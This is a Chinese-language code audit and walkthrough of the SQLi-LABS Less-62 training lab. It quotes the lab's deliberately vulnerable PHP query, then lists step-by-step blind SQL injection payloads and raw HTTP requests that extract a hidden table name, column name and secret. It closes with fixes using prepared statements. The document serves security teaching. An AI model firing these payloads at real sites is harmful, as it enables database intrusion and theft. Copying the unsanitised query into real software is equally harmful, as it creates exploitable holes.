Less-62 代码审计报告:挑战关-9(单引号+括号布尔盲注)
本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与
Less-62/index.php及配套脚本实际文件一致。
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-62: Challenge-9(WHERE id=('$id'),单引号+括号,盲注) |
| 源码路径 | Less-62/index.php + sql-connections/sql-connect-1.php、functions.php、setup-db-challenge.php |
| 漏洞类型 | SQL 注入 – 布尔盲注 / 时间盲注(单引号+括号);跨库读取 challenges 随机表 secret |
| 注入点参数 | GET /sqli-labs/Less-62/?id=;提交答案 POST key+answer_key |
| 报错/盲注 | 无报错回显(第 114 行被注释),有数据回显(布尔 Oracle = "是否显示用户名密码") |
| 尝试次数 | $times = 130(第 27 行),盲注需脚本逐位提取 |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x(连接 challenges 库) |
2. 漏洞代码定位
文件: Less-62/index.php
// 第 22-23 行:连接 challenges 库 + 随机表/列工具函数
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 第 24 行:关闭 PHP 报错
error_reporting(0);
// 第 27 行:尝试次数上限
$times= 130;
// 第 97 行:注入点——单引号+括号包裹,未过滤
$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
// 第 101-115 行:有行则按数组映射显示用户名密码(布尔 Oracle)
if($row)
{
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error()); // 第 114 行:报错回显被注释
echo "</font>";
}
关键漏洞点:
- 第 67 行:
$id=$_GET['id'];未过滤。 - 第 97 行:
WHERE id=('$id')单引号+括号拼接。 - 第 114 行:
print_r(mysql_error())被注释,只能盲注。 - 挑战机制同 Less-54:随机表名(10 位 A-Z0-9)、
secret_XXXX列(第 3 列,limit 2,1)、24 位随机 secret。
3. 漏洞分析
- 输入来源:
$_GET['id'],未过滤。 - SQL 拼接位置:
WHERE id=('$id')。 - 闭合方式:单引号+括号。Payload 形如
1') and (条件)-- -,最终 SQL 为WHERE id=('1') and (条件)-- -')。 - 是否回显:命中显示用户名密码;未命中无输出;无报错回显。
- 挑战机制:同 Less-54(Cookie 会话、
tryy计数);本关$times=130,足够脚本化布尔盲注(表名 10 位 + 列名 11 位 + secret 24 位,配合二分法/字符集遍历可在限制内完成;若超限,reset 后需自动重跑)。
4. 利用方式
步骤一:判断注入类型与闭合
?id=1 → 显示 Dumb
?id=1') → 不显示
?id=1')-- - → 显示
?id=1') and 1=1-- - → 显示
?id=1') and 1=2-- - → 不显示
→ 闭合方式为 1') and ...-- -,布尔 Oracle 成立。
步骤二:确认 challenges 库存在
?id=1') and (select count(*) from information_schema.tables where table_schema='challenges')=1-- -
步骤三:盲注提取随机表名(10 位 A-Z0-9)
-- 表名长度
?id=1') and length((select table_name from information_schema.tables where table_schema='challenges' limit 0,1))=10-- -
-- 第 1 位字符 ASCII 是否等于 65('A')
?id=1') and ascii(substring((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=65-- -
逐位爆破得到 <T>。
步骤四:盲注提取 secret 列名(第 3 列,limit 2,1)
-- 列数=4
?id=1') and (select count(*) from information_schema.columns where table_schema='challenges' and table_name='<T>')=4-- -
-- 第 3 列首字符 ASCII=115('s')
?id=1') and ascii(substring((select column_name from information_schema.columns where table_schema='challenges' and table_name='<T>' limit 2,1),1,1))=115-- -
爆破出 secret_XXXX。
步骤五:盲注提取 24 位 secret 值
?id=1') and ascii(substring((select secret_XXXX from challenges.<T> limit 0,1),i,1))=N-- -
拼出完整 secret(24 位字母数字)。
步骤六:提交答案
POST /sqli-labs/Less-62/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
key=<secret值>&answer_key=Submit
关于次数限制与 reset
- 130 次
?id=请求;表名 10 + 列名 11 + secret 24 = 45 个字符,每个字符用字符集遍历(平均 ~18 次/字符)会超限,建议二分法(每字符 ~6-7 次)并优先猜字符集 A-Z0-9/a-z0-9,或用regexp '^[A-Z]'等区间判断减少请求。超限重置后脚本需检测并重跑。
5. Yakit 重放数据包
探测表名长度(布尔盲注):
GET /sqli-labs/Less-62/?id=1%27)%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema='challenges'%20limit%200,1))%3D10--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
探测表名首字符:
GET /sqli-labs/Less-62/?id=1%27)%20and%20ascii(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema='challenges'%20limit%200,1),1,1))%3D65--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
探测 secret 值第 1 字符:
GET /sqli-labs/Less-62/?id=1%27)%20and%20ascii(substring((select%20secret_XXXX%20from%20challenges.%3CT%3E%20limit%200,1),1,1))%3D65--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
提交答案:
POST /sqli-labs/Less-62/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Connection: close
key=DUMPED_SECRET_VALUE&answer_key=Submit
说明:%27='、%20=空格、%3D==、--%20-=-- -;<T>、secret_XXXX 替换为实际爆破结果。
6. 修复建议
修复一(首选):PDO 预处理语句
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:mysqli 预处理语句
<?php
$stmt = $mysqli->prepare("SELECT * FROM security.users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
修复三:输入校验 + 最小权限
id强制整型校验。- 关闭一切错误回显(本关已注释,保持并统一错误页)。
- 注入账号仅授权
security库,不授challenges/information_schema读权限(盲注即无解)。 - 升级 PHP 7+ / 8+,移除
mysql_*扩展。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前需:配置
sql-connections/db-creds.inc、通过setup-db-challenge.php初始化挑战库、使用支持mysql_*的 PHP 5.x 环境。
正文完